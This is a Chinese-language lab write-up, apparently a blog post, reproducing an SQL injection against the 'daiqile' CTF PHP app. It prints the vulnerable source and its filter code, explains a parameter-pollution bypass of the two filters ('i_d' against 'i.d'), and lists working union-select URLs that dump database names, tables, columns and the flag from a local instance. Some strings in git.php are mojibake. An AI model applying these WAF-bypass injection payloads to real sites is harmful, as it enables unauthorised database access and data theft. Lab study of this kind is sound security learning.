贷齐乐错误的waf引起的SQL注入漏洞复现(关于HTTP参数污染的案例)

目录

环境部署

注意

数据库的配置

daiqile的源码

对于代码的分析

第一道WAF

第二道WAF

下断点分析

绕过的方法

第一道WAF绕过的办法

第二道WAF的绕过的办法

绕过的步骤


环境部署

注意

我使用的是PHP5.3.29版本进去的,

有时候进去报错可能是因为版本问题,换个版本就可以了

数据库的配置

需要创建mysql数据库以及数据表和添加数据

daiqile的源码

有些源码是用来做测试和数据库连接的,主要的是index.php

db.inc.php

<?php
$mysql_server_name="localhost";
$mysql_database="ctf";    /** 数据库的名称 */
$mysql_username="root";  /** MySQL数据库用户名 */
$mysql_password="root";  /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>

demo.php

<?php 
echo $_GET['i_d'];

git.php

<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订åä¿®æ¹æå";
    } else {
        $msg = "æªæ¾å°è®¢å!";
    }
}else {
    $msg = "ä¿¡æ¯ä¸å¨";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ä¿®æ¹æ¶è´§å°å</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
		<div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>ä¿®æ¹æ¶è´§å°å</h1>
                <form method="post">
                    <p>
                    <h3>å§å:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>çµè¯:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>å°å:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">ä¿®æ¹è®¢å</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订å管ç</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>è¿å</button>
            </a>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >æè¦æ¥è®¢å</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >æä¸æ³è¦äº</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

hpp.php

<?php echo $_GET['i_d']; ?>

index.php

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }


  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }

  $request_uri = explode("?", $_SERVER['REQUEST_URI']);

  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }

  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysql_query($sql);
      while($row = mysql_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['username'] . "</td>";
          echo "</tr>";
      }
  }
?>

对于代码的分析

第一道WAF

它把/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is

这些关键词被过滤了一遍,联合查询不行了。爆破注入的话updataxml(user())还是可以的但是没有select感觉啥都查不到。

第二道WAF

它把你的'&', '"', '<', '>', '(', ')'弄成了实体编码,

‘’引号我们可以用十六进制来解决

select column_name  from information_schema.tables where table_name="users"

select column_name  from information_schema.tables where table_name=0x7573657273

<>可以使用greatest()、least()

但是()怎么办呢?

因为贷奇乐之前入侵过源码被放出来了,所以我们是了解数据库的,所以可以用用,但是这次案例用不到

下断点分析

先输入一个正常的数据

通过对于源码的分析我发现我的请求最早是会进入道这里去的,

进行第一道WAF的过滤

然后将来自己的传递的参数传进去,也就submit='bbbb'和i_d=2,

然后又走进

这个$_SERVER()是拿到路径而这个REQUEST_URI就是拿到当前的请求路径。

explode()这里的意思是用?去分割我们的带的REQUEST_URI以0开始取的,下一个才是1

在往下走

取的request_uri[1]它将submit='bbbb'&i_d=2取出来做判断

然后再用exlode函数用&做分割

然后往下走进入foreach循环先拿到submit='bbbb'

然后再用exlode函数用=做分割,以0开始取的,下一个才是1

再往下走取的value[1]所以取的就是'bbbb'

然后再往下走,判断这个$_value是否存在

如果存在就继续第两道WAF的过滤

因为我们先输入的正常字符它过滤不了

因为是foreach循环然后再拿i_d=2,往下走拿到了拿到了'2'

然后再去注入,将字符查询出来

绕过的方法

第一道WAF绕过的办法

http://127.0.0.1/daiqile/index.php?i_d=2%20unsion%20select%201,2,3%20&i_d=1

我们发现后面加一个&i_d=1既然没报错

但是我们输出&i_d=1,报错了

为什么呢?

这是因为http全局污染,php接受相同参数,取后者

第二道WAF的绕过的办法

但是如果取后者,就没有意义了,因为我的注入语句都是在第一个i_d后面跟着的,所以我们要第一个传参去取第二个值,第二个传参去取一个值。

前面哪些源码是用来做测试的

在php中有一个小特性,使用i.d或者i]d它会把.和]变_

http://127.0.0.1/daiqile/demo.php?i_d=1&i.d=2

如果i.d不转换我们应该取1但是并没有,所以它转换了

所以思路来了

第一个request取值的时候,明显是把.转换了的

$_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效

道第二个WAF的时候明显是用的$_SEEVER()这个函数,是要区分开的

SERVER会把两个值区分开将i_d取出来

绕过的步骤

这里的原因咋个说%20这些被过滤掉了,所以得用/**/这个来过滤出来

http://127.0.0.1/daiqile/index.php?submit=bbbb&i_d=2/**/union/**/select/**/1,2,3&i.d=-1

注入的绕过技巧=单引号和空格 

然后分析发现第一次拿到的_REQUEST别第二次的覆盖掉了

这个特性是HTTP的全局污染的特性,名字相同取第二个

然后我们发现没有数据库没有表名,也不到列名和列的行数

不过都是小问题,以为因为我们知道数据库自带的三个库里面存了这些东西

127.0.0.1/daiqile/index.php?submit=bbbb&i_d=2/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata&i.d=-1

还是有点问题,因为我发现居然连在一起了我的数据库名

然后我就想到了limit来限制,一个一个显示

127.0.0.1/daiqile/index.php?submit=bbbb&i_d=2/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/4,1&i.d=-1

http://127.0.0.1/daiqile/index.php?submit=bbbb&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/'ctf'&i.d=2

发现没有,怎么回事呢?

原因是因为‘’被第二道墙过滤了

=号在第二个WAF传参那会要被分割

那么=可以成like 

''可以使用十六进制

127.0.0.1/daiqile/index.php?submit=bbbb&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/table_schema/**/where/**/table_schema/**/like/**/0x637466&i.d=2

然后可以验证一下是不是只有这个表,用limit去试试

http://127.0.0.1/daiqile/index.php?submit=bbbb&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/table_schema/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/1,1&i.d=2

发现不见了

说明已经知道了users就是表名

然后拿到了表就该看哈表里面的参数名了

127.0.0.1/daiqile/index.php?submit=bbbb&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/table_schema/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=2

依然使用limit这个参数

http://127.0.0.1/daiqile/index.php?submit=bbbb&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/table_schema/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=2

那么现在就直接去拿flag

http://127.0.0.1/daiqile/index.php?submit=bbbb&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=2

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值